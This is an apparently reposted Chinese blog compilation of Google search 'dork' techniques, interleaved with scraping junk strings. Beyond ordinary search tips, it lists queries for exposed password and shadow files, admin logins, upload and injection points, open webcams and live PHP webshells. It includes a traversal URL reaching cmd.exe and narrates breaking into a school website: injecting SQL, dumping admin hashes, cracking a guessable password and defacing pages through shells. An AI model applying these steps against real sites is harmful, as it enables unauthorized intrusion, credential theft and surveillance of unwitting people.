我的地盘我做主！ 博客：http://tester2test.cnblogs.com/ 　 msn:win_soft@163.com

简单实用的google用法

上一篇 / 下一篇  2007-12-13 10:45:08 / 个人分类：其他

查看( 506 ) / 评论( 0 ) / 评分( 0 / 0 )
51Testing软件测试网RMN3k$C"G v

简单实用的google用法
51Testing软件测试网0fa*YF~u

察看基本情况：51Testing软件测试网[v:G/TRf'D7h
info:xx.org 返回一些基本信息                                       
`u6yD.N6^ e0site:xx.org 返回所有与该有关的url`````````````````````````````一般是看他的主要文件和部分目录51Testing软件测试网5T;w*`*[.\:TU W
link:xx.org 返回所有与该站做了连接的站51Testing软件测试网&x_&W jiw;a8e d`'{

4XR;KL7F%rDS0site:xx.org filetype:txt 查找TXT文件 其他的依次内推``````TXT，有时候在站里面可以找到ftp密码
%u [0^lJ.W,?9A};K-[0
y$hu-iyH/[H!a)E0查找后台```````````````````````````````````````````````````````````拿到密码后，或者尝试or，或者看版权时用到51Testing软件测试网{)v'P"\U@
site:xx.org intext:管理
U)j!GX9jvF&ly MiM0site:xx.org inurl:login51Testing软件测试网8EIX@"OU+w&A
site:xx.org intitle:后台
9?Rx!xE051Testing软件测试网](b0q*AVg
查看服务器使用的程序``````````````````````````````````````````一般看主机什么系统，对应的马就什么权限
;J7F\a o6|c0site:xx.org filetype:asp
5qx!gxo"T0site:xx.org filetype:php51Testing软件测试网Mn-@O:p(`c/bL&g
site:xx.org filetype:jsp
g9Y n.h5GPv(l+ns s0site:xx.org filetype:aspx51Testing软件测试网M uAH:^$Ym)U8y |
51Testing软件测试网~ |#v*gZ
查看上传漏洞：``````````````````````````````````````````````````这可是最爽的拿shell方法
iLP#f4t`h_0site:xx.org inurl:file51Testing软件测试网.w RR Q7J0AE [e
site:xx.org inurl:load51Testing软件测试网O-l1PIT
51Testing软件测试网5t:t1h }m#N V%W
查找注射点：`````````````````````````````````````````````````````找注射点最快的方法
CXZg,e8hyo0site:xx.org filetype:asp

+Ks U4s9[k4M1sb!D0

@.x6on#K7?f"wX?0以上语法可以复合使用51Testing软件测试网t;x_ WCR)^^ @M:G

51Testing软件测试网!`~gUUm

 

A*XB[ B8{%?Y`2M0

9zc#KS4D6`f&y)@0利用Google突破封锁:下载想要的东西

8u_k.k`#] F3IiFRn0

hoY OB4y6uO0第一篇 突破封锁之电子书、多媒体下载51Testing软件测试网5LT*U?9Bqo#Z

~uBcY0　　在搜索框上输入：51Testing软件测试网 OS;sU _\`
　　 "index of/ " inurl:lib51Testing软件测试网'sCP#f'S.t u9`
　　再按搜索你将进入许多图书馆，并且一定能下载自己喜欢的书籍。

FY6e5I7b-H__0

af-@*oU+m0　　在搜索框上输入：51Testing软件测试网zP:G'@1N,f
　　 "index of /" cnki51Testing软件测试网o"| hb3S^#|a ]
　　再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口！51Testing软件测试网6p7t,ctUk,K @5Y.e u

6A/q3qPe-QS0　　在搜索框上输入：51Testing软件测试网 L(ymmYh |V0K9h8tb
　　"index of /" ppt
kpJ:};Qg] Wt0　　再按搜索你就可以突破网站入口下载powerpint作品！

e"c,\(FzlL/~"Y0 51Testing软件测试网J'oA BY%} u

　　在搜索框上输入：51Testing软件测试网Wca;@p1NQ*f*q&D
　　"index of /" mp3
r5g&y?TQ[!I0　　再按搜索你就可以突破网站入口下载mp3、rm等影视作品！

6q6RyI,O#{m)g'ZW0 51Testing软件测试网 KrFz.t @gR1Y

　　在搜索框上输入：51Testing软件测试网Q(v-KPZhq)C
　　"index of /" swf51Testing软件测试网/^ qi`'Zs_0k`%J
　　再按搜索你就可以突破网站入口下载flash作品！51Testing软件测试网O/quM-^ c.f

51Testing软件测试网b%^de,xSLU&V6a'Q

　　在搜索框上输入：51Testing软件测试网*t(HO;[\ i1GzL
　　"index of /" 要下载的软件名51Testing软件测试网XQ;u d%de _5\5B
　　再按搜索你就可以突破网站入口下载软件！51Testing软件测试网$hw o"jg)NuvOG

zHi|{^1[t D0　　注意引号应是英文的！

P/Q^2b$V%V:P$Z;R%n0

2p.q.l6uf;a0　　再透露一下，如果你输入：
!K%C!?!J? B0　　"index of /" AVI51Testing软件测试网Bl.dW@(i(y7y
　　这样就可以下载AVI格式的视频文件了喔51Testing软件测试网C"a+IB,ym:L

51Testing软件测试网&`6E'T6boo

　　第二篇 突破封锁之看世界51Testing软件测试网`H-m2T"y!Op

51Testing软件测试网$F x7M[l1W&z

　　用Google看世界!!!只要你在Google里输入特殊的关键字,就可以搜到数千个摄象头的IP地址!通过他你就可以看到其所摄的实时影象!!

"p;Ik1DT,z2t%qp)NC0 51Testing软件测试网+i \Hd-|y3Sg X

　　在google里输入：
N;OR ewI0　　inurl:"viewerframe?mode="51Testing软件测试网b+R C9r `

0e^*k}$Z0　　随便打开一个,然后按提示装一个插件,就可以看到了!!!51Testing软件测试网U-^&BV)x ~

51Testing软件测试网%Pz{-@H;K%w u X

　　第三篇 突破封锁之Google是黑客的乐园51Testing软件测试网!rG@L?Cg

51Testing软件测试网+f'de e$T

　　三则黑客的Google搜索技巧简介

yE pU z'ie0

+Zr(h9T8DK;CnP `0　　大家都知道，Google毫无疑问是当今世界上最强大的搜索引擎。然而，在黑客手中，它也是一个秘密武器，它能搜索到一些你意想不到的信息。赛迪编者把他们进行了简单的总结不是希望您利用他去攻击别人的网站，而是利用这些技巧去在浩如烟海的网络信息中，来个大海捞针，寻找到对您有用的信息。

L}DfG!T*_qwg0 51Testing软件测试网 F0j-oD)E!Px!Q

　　如果您是一名普通网民，您可以使用黑客的技巧扩大自己的视野，提高自己的检索效率；如果您是一名网管，请您赶快看看您的网站是否做好了对下面黑客探测手段的防范措施，如果没有就赶快来个亡羊补牢，毕竟隐患胜于明火，防范胜于救灾；如果您是一名黑客，相信您早以在别的黑客站点上见过类似的方法，这篇文章对您没什么用处，这里的技巧对您是小儿科，菜鸟级！您可以节省宝贵的时间做更有意义的事情，这篇文章您不用看了，到别处去吧！

,R r3U*JD nt~0 51Testing软件测试网yY gY|Z1\


q5M3oJ7TN:kS0　2 、查找 PDF 文件

5VI[T]0

q|,c0D;u9p0　　现在 GOOGLE 的搜索结果中包括了 PDF 文件。尽管 PDF 文件不如 HTML 文件那么多，但他们经常具备一些其他文件不具备的高质量信息

#Ov {8WNroRx Q0 51Testing软件测试网,Cq"]4]8b)^Q

　　为了显示一个搜索结果是 PDF 文件而不是网页， PDF 文件的标题开头显示蓝色文本。51Testing软件测试网Gc-ZJ7G1?

51Testing软件测试网$Gy(Sh"[)Fz$\6A

　　这就是让你知道 ACRTOBAT READER 程序会启动来阅读文件51Testing软件测试网 O|~k2nC/B`

51Testing软件测试网md/E9jbD

　　如果你的计算机没装有该程序，计算机会指导你去能免费下载该程序的网页。

R%Z5I~`Yv2~bL\0 51Testing软件测试网-Og#RE(R2G

　　使用 PDF 文件时，相关的网页快照会由“ TEXT VERSION ”代替，它是 PDF 文档的复制文件，该文件除去了所有格式化命令。

r Y.H!H1c'w/xW_-_0 51Testing软件测试网ON1[N PK

　　如果你在没有 PDF 链接的情况下想看一系列搜索结果，只要在搜索栏中打上 -inurldf 加上你的搜索条件。51Testing软件测试网gE/B;r7_| V s

Y-[V(|]j0　　3 、股票报价

^ y4_VX2X z }0 51Testing软件测试网.PCGz2Gi%gv

　　用 Google 查找股票和共有基金信息，只要输入一个或多个 NYSE ， NASDAQ ， AMEX 或
3?_#nxx w!v.E#p;N0　　共有基金的股票行情自动收录机的代码，也可以输入在股市开户的公司名字。

Ab3c,[5F4nh.C['Q0

:aN YKDDim0　　如果 Google 识别出你查询的是股票或者共有基金，它回复的链接会直接连到高质量的金融信息提供者提供的股票和共有基金信息。51Testing软件测试网 D o7a5G1y j

UY)}'p`;Ma0　　在你搜索结果的开头显示的是你查询的股市行情自动收录器的代码。如果你要查找一家公司的名字（比如， INTEL ），请查看“股票报价”在 Google 搜索结果的金融栏里会有那个公司的主页的链接（比如， www.INTEL.COM ）。51Testing软件测试网z9V$MH[

vRw$]r N [q S0　　Google 是以质量为基础来选择和决定金融信息提供者的，包括的因素有下载速度，用户界面及其功能。51Testing软件测试网&\5Bp?"Z6w,L k |H

m:_dGC0　　4 、找找谁和你链接51Testing软件测试网^vv0L+B

v,r\7\yV!x*d8Oxz0　　有些单词如果带有冒号就会有特殊的意思。比如 link ：操作员。查询 link:siteURL ，就会显示所有指向那个 URL 的网页。举例来说，链接 www.Google.com 会向你显示所有指向 GOOGLE 主页的网页。但这种方法不能与关键字查询联合使用。

sv-c+Y:H3otw XF0

bhcs1d.x0　　5 、查找站点51Testing软件测试网4f9T Qt_;Z6j.F H

cL_*My'K&}@0　　单词 site 后面如果接上冒号就能够将你的搜索限定到某个网站。具体做法是：在 c 搜索栏中使用 site:sampledomain.com 这个语法结构。比如，在斯坦福找申请信息，输入：
.Z'fy_2|8Y7@:xQ0　　admission site:www.stanford.edu

G h6P]L+{S U0 51Testing软件测试网/Y%]r,eh)U

　　6 、查找字典释意51Testing软件测试网oC v'C`L*kQ:J8B ^XBr

51Testing软件测试网"d zYy+IX

　　查找字典释意的方法是在搜索栏中输入你要查询的内容。在我们根据要求找到所有的字典释意都会标有下划线，位于搜索结果的上面，点击链接你会找到字典提供者根据要求给出的相关定义。51Testing软件测试网#r XFZfx
51Testing软件测试网+cK V v!N
7 、用 GOOLGE 查找地图51Testing软件测试网l\hby:CHY

51Testing软件测试网G/V0s/}as;eX

　　想用 Google 查找街区地图，在 Google 搜索栏中输入美国街区地址，包括邮递区号或城市/州（比如 165 大学大街 PALO ALTO CA ）。通常情况下，街区地址和城市的名字就足够了。51Testing软件测试网U S-d'd3o1H

W`2RwS8d$SC*c0　　当 Google 识别你的要求是查找地图，它会反馈给你有高质量地图提供者提供的链接，使你直接找到相关地图。我们是以质量为基础选择这些地图提供者。值得注意的是 Google 和使用的地图信息提供者没有任何关联。51Testing软件测试网S#P^qyK(o:P{0z2b

51Testing软件测试网L9t@ j)d2Fwq

51Testing软件测试网|yA_4n6d!b-s,igK
搜索URL

0Y5s-R4K!k6t0v0

)aoU{'e*r c?(g0　　比如我们提交这种形式：passwd.txt site:virtualave.net

h Vr0G1n0

q9k#xOkrR0　　看到了什么？是不是觉得太不可思议了！有很多基于CGI/PHP/ASP 类型的留言板存在这种问题。有时我们得到密码甚至还是明码的！管理员或许太不负责了，或许安全防范的意识太差了，如果你是网络管理员，赶快检查一下不要让恶意攻击者捡了便宜。不要太相信DES加密，即使我们的密码经过DES 加密的密码，黑客们还是可以通过许多破解软件来搞定。51Testing软件测试网.uP'M$h#m` x

51Testing软件测试网 a4Pm6tn%v#C5R

　　这次我们能得到包含密码的文件。“site:virtualave.net”意思是只搜索 virutalave.net 的URL。virutalave.net是一个网络服务器提供商。

] S @^)|hG9d?0 51Testing软件测试网 ~b4r+G:edw:Yj5D{

　　同样，我们可以搜索一些顶级域名，比如：.net .org .jp .in .gr

H&Q8a$M)ZBpvL0

Z8Q9h1A:XQU[i`0　　config.txt site:.jp51Testing软件测试网 Qx*C9A/e:B]

51Testing软件测试网D b L)y v*\)u

　　admin.txt site:.tw51Testing软件测试网UvP9QJ#{V:?

Wz[M K0　　搜索首页的目录

5q&^"uu K.Q7D ]^0

Ad7YK |2z.C0　　首页是非常有用的，它会提供给你许多有用的信息。

)IA2bJ%}Xrc0 51Testing软件测试网T;my gHW

　　我们提交如下的形式：51Testing软件测试网 fp~Uy O

d1|!x`3M4x0　　"Index of /admin"51Testing软件测试网j1}qa;aR*?"cg

51Testing软件测试网.Sv4td @ woZ:R

　　"Index of /secret"51Testing软件测试网 w9OM!`)n

51Testing软件测试网3N*W\ E#SSc v

　　"Index of /cgi-bin" site:.edu

SdUs"Q]7h$Q#h0 51Testing软件测试网?L};l$`7b7Q

　　你可以自己定义搜索的首页字符。这样就可以获得许多信息。

9c*PEcL w b0 51Testing软件测试网z2F.^W,W(T'\

　　搜索特定的文件类型

"eulOYeW${0

~r3A6Id4C8j9yc0　　比如你想指定一种文件的类型，可以提交如下形式：51Testing软件测试网!K;cA-m]%H0m

51Testing软件测试网 e6f-bl5e8]

　　filetype:.doc site:.mil classified51Testing软件测试网(Q uV9jO/Zw

;XWQo3[*Q'\N QN0　　这个就是搜索军方的资料，你可以自定义搜索。

} M)W.JD.ur:l.Q0 51Testing软件测试网AN^a4vq}Nkz

常用的google关键字： 51Testing软件测试网Zx%`3K|Co[,~#@
foo1 foo2 (也就是关联，比如搜索xx公司 xx美女)
R6dICx/F0operator:foo
a+FcW;@Ce0filetype:123 类型 51Testing软件测试网k`9Q]9]]
site:foo.com 相对直接看网站更有意思，可以得到许多意外的信息 51Testing软件测试网\ N]H3HB
intext:foo 51Testing软件测试网"GDgT:C g?y
intitle: fooltitle 标题哦
m.n!i5M^lZc,q[0allinurl:foo 搜索xx网站的所有相关连接。（踩点必备） 51Testing软件测试网4x L6PG:|*nb}f![5xh[
links:foo 不要说就知道是它的相关链接
h`8hQK1P,i$Co0allintilte:foo.com

(d)B q%E+s$Ba$V0 51Testing软件测试网#YU-Vt`@|

51Testing软件测试网II3X4A-oO
我们可以辅助"-" "+"来调整搜索的精确程度 51Testing软件测试网?"kE Og9|

^A#D8U*uy \0直接搜索密码：(引号表示为精确搜索)
RR:zU n1IQc0当然我们可以再延伸到上面的结果里进行二次搜索
l0w~-LLt(? }Ms0"index of" htpasswd / passwd 51Testing软件测试网5^!iL+Y;GO-T6?&I6l6h
filetype:xls username password email 51Testing软件测试网7RyQg zJgi8J
"ws_ftp.log" 51Testing软件测试网-KP b4] k8Z
"config.php" 51Testing软件测试网y3n4?#Uw)nO
allinurl:admin mdb 51Testing软件测试网*b2F'B'G)z8u
service filetype:pwd ....或者某个比如pcanywhere的密码后缀cif等 51Testing软件测试网h}]3j'zeN8_

51Testing软件测试网)A$R,E!B } G

越来越有意思了，再来点更敏感信息
Ph SO3Du0WL0"robots.txt" "Disallow:" filetype:txt
5cj eUt"n1q0inurl:_vti_cnf (FrontPage的关键索引啦，扫描器的CGI库一般都有地)
$^(A A)W3U)q}-Qw0allinurl: /msadc/Samples/selector/showcode.asp 51Testing软件测试网n5br7ERO
/../../../passwd
2@H[+v%]#T&yi6[bz0/examples/jsp/snp/snoop.jsp
5Wr[^GD0phpsysinfo 51Testing软件测试网7C?-n"G/sa6PH
intitle:index of /admin
i)x kHB6oMS0intitle:"documetation" 51Testing软件测试网3SQ|9m2V_]5G4DTA
inurl: 5800(vnc的端口)或者desktop port等多个关键字检索 51Testing软件测试网1zw(inl3hV
webmin port 10000 51Testing软件测试网#EW M HE%js@a2?#I
inurl:/admin/login.asp 51Testing软件测试网}i Fg N|vrM$U x3v
intext:Powered by GBook365 51Testing软件测试网{*|/d_ol Q
intitle:"php shell*" "Enable stderr" filetype:php 直接搜索到phpwebshell 51Testing软件测试网?W8wCK5[^K

K2J$rJ CG0foo.org filetype:inc

q^1_ mTs;U7L0 51Testing软件测试网9w"WRZ{H2@5G

51Testing软件测试网 M_o T#d*@
ipsec filetype:conf
JThJ.F-|[0intilte:"error occurred" ODBC request where (select|insert) 说白了就是说，可以直接试着查查数据库检索，针对目前流行的sql注射，会发达哦 51Testing软件测试网`pxi6uW
"Dumping data for table" username password 51Testing软件测试网 \v O.x]%P` pSvg
intitle:"Error using Hypernews" 51Testing软件测试网3Q5]z"i)f+\%nn
"Server Software"
0j?\#d9{'?H0intitle:"HTTP_USER_AGENT=Googlebot" 51Testing软件测试网f0Ufi:o
"HTTP_USER_ANGET=Googlebot" THS ADMIN 51Testing软件测试网o T~%V2FV
filetype:.doc site:.mil classified 直接搜索军方相关word 51Testing软件测试网 R_(xw4GMFs+W&A

|4[*R J3m0N C0检查多个关键字： 51Testing软件测试网 HRVnrsh^
intitle:config confixx login password

s,wJwX0 51Testing软件测试网G9F @;Z"|ck8_~v7S H

"mydomain.com" nessus report 51Testing软件测试网(F Jm}Y[`/w({
"report generated by"
{(L.@-r7M N0"ipconfig" 51Testing软件测试网eF.pLkHCAX
"winipconfig"

xnZ2t {5b KOE$X0

8dy"Tc:[0k)]']0google缓存利用（hoho，最有影响力的东西）推荐大家搜索时候多"选搜索所有网站" 51Testing软件测试网(h(kW!Q^&B3r4jJ
特别推荐：administrator users 等相关的东西，比如名字，生日等……最惨也可以拿来做字典嘛

H%Mur1Gf0

YQgnU7r0 

K;G[eA f&v_0

3i}P?:w:zPW5k?W0……

6E3SVD'a7o*w0 51Testing软件测试网@R!i9lkE'@q

51Testing软件测试网|&y,`uoOG$d
一些技巧集合： 51Testing软件测试网 d7^R5On

P"C#qA8wu01) index.of.password 51Testing软件测试网ub(c,y ?:fl`$k
1) filetype:blt "buddylist" 51Testing软件测试网:t3B-Pg(w
2) "access denied for user" "using password" 51Testing软件测试网2SDoOqh?$G
2) intitle:"index of" inurl:ftp (pub | incoming) 51Testing软件测试网 KN1e6Uj,y
3) "http://*:*@www" domainname 51Testing软件测试网:YT ^B*R)Xk
3) filetype:cnf inurl:_vti_pvt access.cnf
z.f{_:Y04) auth_user_file.txt 51Testing软件测试网L:F'h&kCb)a.Bv
4) allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/" 51Testing软件测试网n7U#og#H{i
5) The Master List 51Testing软件测试网#g MYqjB
5) inurl:"install/install.php" 51Testing软件测试网Wt9W6~_-Jf#H
6) allinurl: admin mdb
Um-zQ-zC+zyJ t06) intitle:"welcome.to.squeezebox"
7Z+b5@n"N"VU1DI07) passlist.txt (a better way)
U6q@1_9g-\9ngE07) intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
6y9C&a'GSV[vk Mn08) "A syntax error has occurred" filetype:ihtml 51Testing软件测试网jQ4Z;q|*J
8) intitle:Login intext:"RT is ? Copyright"
(OHQ E,O}09) "# -FrontPage-" inurl:service.pwd 51Testing软件测试网w$P3H,F,n!YSv
9) ext:php program_listing intitle:MythWeb.Program.Listing 51Testing软件测试网` ] JQ Ru
10) ORA-00921: unexpected end of SQL command
N ?u)P&QyW? S6~%T9k010) intitle:index.of abyss.conf 51Testing软件测试网sxH5hm

51Testing软件测试网z} VkD'?

NO2: 51Testing软件测试网%T&i/W(X Cgq!g
--------------------------------------------------------------------------------

O+IHyCDk)qb0 51Testing软件测试网!F!W5N3H ]0B7p }

google hacking的简单实现 51Testing软件测试网W#a m;F1w`
使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
0HVuXz+p0intext: 51Testing软件测试网!w)np,S!Yt]_
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似.

r*N-\u I9b0~0

"v.Y` M5A@t(tJI0intitle: 51Testing软件测试网 iI)P#f3Qj(D
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网 51Testing软件测试网%e5h_]NoA

51Testing软件测试网@_!z*BwDVR

页.同理allintitle:也同intitle类似.

,~ g;Z-y6I'r,W0

5@eH'cf/hSV0cache: 51Testing软件测试网:Qf&I#N!P"S
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦. 51Testing软件测试网(a+Bz1}-kST

|m/E7|O[$_0define: 51Testing软件测试网RZN2y&k'R,xZ8W
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

K\bji0 51Testing软件测试网cj!YDlR xV

filetype:
]"fR#| N*o1B\&r;Y0这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入

*]OQ0H$q g F-M0

6p _"Z u6?WE J1j3P0:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:) 51Testing软件测试网o-UxZ[)Q

51Testing软件测试网] j ZC-Q;KaE

info: 51Testing软件测试网]_UX PW
查找指定站点的一些基本信息.

%NEi ZrJ od-x0 51Testing软件测试网(~Yt/SbHcX9];f

inurl:
x.}g7qN)mdk0搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接http://www.xxx.com/xxx/admin,用来找管理员登

/E7v B6xp,IM0 51Testing软件测试网g!e)c6cF})Q1u3x

陆的URL不错.allinurl也同inurl类似,可指定多个字符. 51Testing软件测试网 Y2^^4v:~(Y4XB ?P

51Testing软件测试网G#PY(Hc%B

link:
/feu1Z9l~&W&L ?0例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL. 51Testing软件测试网'c5g g+IK'~0u ~

51Testing软件测试网&_q z%R;G"|U1E[S

site: 51Testing软件测试网%uh$?tsnA j;~2|
这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL. 51Testing软件测试网9A-VA8h0Q5n*X IM

51Testing软件测试网p.vM{5OC

51Testing软件测试网p {R0d7?3E)F
对了还有一些*作符也是很有用的: 51Testing软件测试网 e9z(E3L,t
+ 把google可能忽略的字列如查询范围 51Testing软件测试网LTaNf?
- 把某个字忽略
_-A-N _"th'W F0~ 同意词 51Testing软件测试网3O(?mu1u1Si)J
. 单一的通配符 51Testing软件测试网+yEA%I4@.}E
* 通配符，可代表多个字母 51Testing软件测试网$l}F ~"\,Mm0F:B
"" 精确查询 51Testing软件测试网.^K+Ai(H o

Fc&n2U/S0下面开始说说实际应用

C&Q2U!\NBG!O0 51Testing软件测试网.fFq5TAp L?b*Y

以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会

vS"z)Z.`4b{0

"~o Ah0s;@/\!_m*d0把一些敏感信息透露给他们.用google搜索以下内容:
p,H#mR`;gI$`j0intitle:"index of" etc
]LJ;ZI&v0intitle:"Index of" .sh_history 51Testing软件测试网a2r;m%OJw-p.dmUi
intitle:"Index of" .bash_history 51Testing软件测试网!TO Bwct*r
intitle:"index of" passwd 51Testing软件测试网(b RO9a _8X
intitle:"index of" people.lst 51Testing软件测试网 b9MzU8|
intitle:"index of" pwd.db 51Testing软件测试网^%D5B1u8CQ3jS
intitle:"index of" etc/shadow 51Testing软件测试网:h0pq4r&o!nFZ
intitle:"index of" spwd
,Qk R{3Jp"|9H;A_0intitle:"index of" master.passwd 51Testing软件测试网6a;u;Xa#H5zC5W
intitle:"index of" htpasswd
,e#K.F XU#W;n!G0"# -FrontPage-" inurl:service.pwd 51Testing软件测试网 B Q8\,}O.U\qN
有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的 51Testing软件测试网$^rX%q2~-j-NBm|w

51Testing软件测试网{0rp/t.LC1ZfR w

51Testing软件测试网+b6~yo_6z
同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站点: 51Testing软件测试网)xp&ECt9f
intext:ZeroBoard filetype:php
5@e#{Y(g!aog0或者使用: 51Testing软件测试网peL3]S A
inurl:outlogin.php?_zb_path= site:.jp 51Testing软件测试网4D*h fLi ^
来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库*作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行*作.我们可以用google搜索存在这样漏洞的程序URL: 51Testing软件测试网 B+|%@#JI b_
intitle:phpmyadmin intext:Create new database

Q \ A2rY/S.J \Y0 51Testing软件测试网'?z1{x%r

还http://www.xxx.com/_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe?dir吗?用google找找，你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。 51Testing软件测试网9h0A/Nf9h6{O1u
allinurl：winnt system32 51Testing软件测试网j"e @.gn mI

:w P&{'w\4W FV+b ^0前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下: 51Testing软件测试网sxi4SZ9L
allinurl:bbs data 51Testing软件测试网*}-O?G7k@M
filetype:mdb inurl:database
M2G e-dP8Z~*V0filetype:inc conn
'r)~H2M5zKf0inurl:data filetype:mdb
WVD}3hl)Ta0intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后台.

)Vx9Y+f;x$X/D0

`Wg)M3h9D0
G'N$P$c2~r+_P0利用google完全是可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。 51Testing软件测试网F9X!Akc
首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
3yU2^.[3Zq5Pc1]0site:xxxx.com
\*r/FS u1^0从返回的信息中，找到几个该校的几个系院的域名：
Z4eDP]|J0http://a1.xxxx.com
xVD`z5f l0http://a2.xxxx.com 51Testing软件测试网A8f:?G4G JY)Gv
http://a3.xxxx.com
6L#u`wM0http://a4.xxxx.com 51Testing软件测试网#{ w l:gti2S\
顺便ping了一下，应该是在不同的服务器.学校一般都会有不少好的资料，先看看有什么好东西没

b }bxP:zI0

C/j.M&j e6V.f+x0site:xxxx.com filetype:doc 51Testing软件测试网2z h"j$jm-o
得到N个不错的doc。 51Testing软件测试网_+H3q%A$h&K"pY%]-B

51Testing软件测试网!Q_%N_r |&OS

先找找网站的管理后台地址： 51Testing软件测试网'S ^]"u&]o
site:xxxx.com intext:管理 51Testing软件测试网r|v/~7r6Sq2W
site:xxxx.com inurl:login
.~5?3R:Q"FAi#S1_*p0site:xxxx.com intitle:管理 51Testing软件测试网"T9s/{'\3qt
超过获得2个管理后台地址：
|8m6|0SgX0http://a2.xxxx.com/sys/admin_login.asp 51Testing软件测试网7ND` KC,x
http://a3.xxxx.com:88/_admin/login_in.asp

$S#iS]\0

k(M3G k^0还算不错，看看服务器上跑的是什么程序： 51Testing软件测试网q'qxN V
site:a2.xxxx.com filetype:asp
:F$zt]kWLo0site:a2.xxxx.com filetype:php
s.g L K4pg0site:a2.xxxx.com filetype:aspx
+M;A1@yGm2k6L0site:a3.xxxx.com filetype:asp 51Testing软件测试网kW_2@/hH
site:....... 51Testing软件测试网 V8{z4Dw+pO3}7]Mj
...... 51Testing软件测试网M!w4TQ^aW)T
a2服务器用的应该是IIS，上面用的是asp的整站程序，还有一个php的论坛
RiKE_\0a3服务器也是IIS，aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的： 51Testing软件测试网 kYS-o x!N({e
site:a2.xxxx.com intext:ftp://*:*
![FdU3?"B;S.bR0没找到什么有价值的东西。再看看有没有上传一类的漏洞：
+Wp;d$ko M0site:a2.xxxx.com inurl:file
FZ!C4E7}P#sq0site:a3.xxxx.com inurl:load 51Testing软件测试网L%S K7Z:o%|6E%^
在a2上发现一个上传文件的页面： 51Testing软件测试网0^*RPfrOe7T'p
http://a2.xxxx.com/sys/uploadfile.asp 51Testing软件测试网+XL1Q~J8Wj
用IE看了一下，没权限访问。试试注射，
%|d'~r%yb d0site:a2.xxxx.com filetype:asp
)t$Xv ^7S6ps/B0得到N个asp页面的地址，体力活就让软件做吧，这套程序明显没有对注射做什么防范，dbowner权限，虽然不高但已足矣，back a shell不太喜 51Testing软件测试网&[NW+h"z

51Testing软件测试网Mb^&c }CaV

欢，而且看起来数据库的个头就不小，直接把web管理员的密码暴出来再说，MD5加密过。一般学校的站点的密码都比较有规律，通常都是域名+ 51Testing软件测试网Pz5kYaoP

51Testing软件测试网k[8Z2F I/j GP

电话一类的变形，用google搞定吧。
-FZ3Z/GNy^0site:xxxx.com //得到N个二级域名
r1z{L0m9GO#eD`0site:xxxx.com intext:*@xxxx.com //得到N个邮件地址，还有邮箱的主人的名字什么的 51Testing软件测试网/GqfMYT
site:xxxx.com intext:电话 //N个电话 51Testing软件测试网.@C1A9I3EI!@
把什么的信息做个字典吧，挂上慢慢跑。过了一段时间就跑出4个帐号，2个是学生会的，1个管理员，还有一个可能是老师的帐号。登陆上去： 51Testing软件测试网9@ RI u#^F#KK
name：网站管理员
~U6rl;?8Oo#@!A:R0pass：a2xxxx7619 //说了吧，就是域名+4个数字
$kUv:F3c]mZuB(x0要再怎么提权那就不属于本文讨论访问了，呵呵，到此为止。

h H^%Wn0

W2wFR2y kK0J+?0
Qr#R at#J2Z0这段时间在国外的一些google hack的研究站点看了看，其实也都差不多是一些基本语法的灵活运用，或者配合某个脚本漏洞，主要还是靠

?(P*]tH N0

.LE2R1t1]7Dm0个人的灵活思维。国外对于google hack方面的防范也并不是很多，所以大家还是点到为止，不要去搞破坏拉，呵呵。对于一些在win上跑
3ij3NH9I)tcL0apache的网管们应该多注意一下这方面，一个intitle:index of就差不多都出来了:) 51Testing软件测试网7MxH8V V"??
1.查找利用php webshell 51Testing软件测试网]]+{3\d NP){Mb

51Testing软件测试网$@g6L:w's&Io

intitle:"php shell*" "Enable stderr" filetype:php 51Testing软件测试网lmFM)Smy

51Testing软件测试网P;|&FZ!C,qX

(注: intitle��网页标题 Enable stderr��UNIX标准输出和标准错误的缩写filetype��文件类型)。搜索结果中，你能找到很多直接在机器上执 51Testing软件测试网:n H`Y` x }i/`L2T

9xSyf/Q ?0行命令的web shell来。如果找到的PHPSHELL不会利用，如果你不熟悉UNIX，可以直接看看LIST，这里就不详细说了，有很多利用价值。要说明

3KE F!i2gt0

}-vyE6MD6v0O0的是，我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令，都是system调用出来的函数(其实用百度及其他搜索引擎都可以，只是填

yAgk,X0 51Testing软件测试网3I*\:Y x XF"D(g%aN

写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了: 51Testing软件测试网^D,_8E/v-sW7h

51Testing软件测试网Of#_I)L i4n8Q

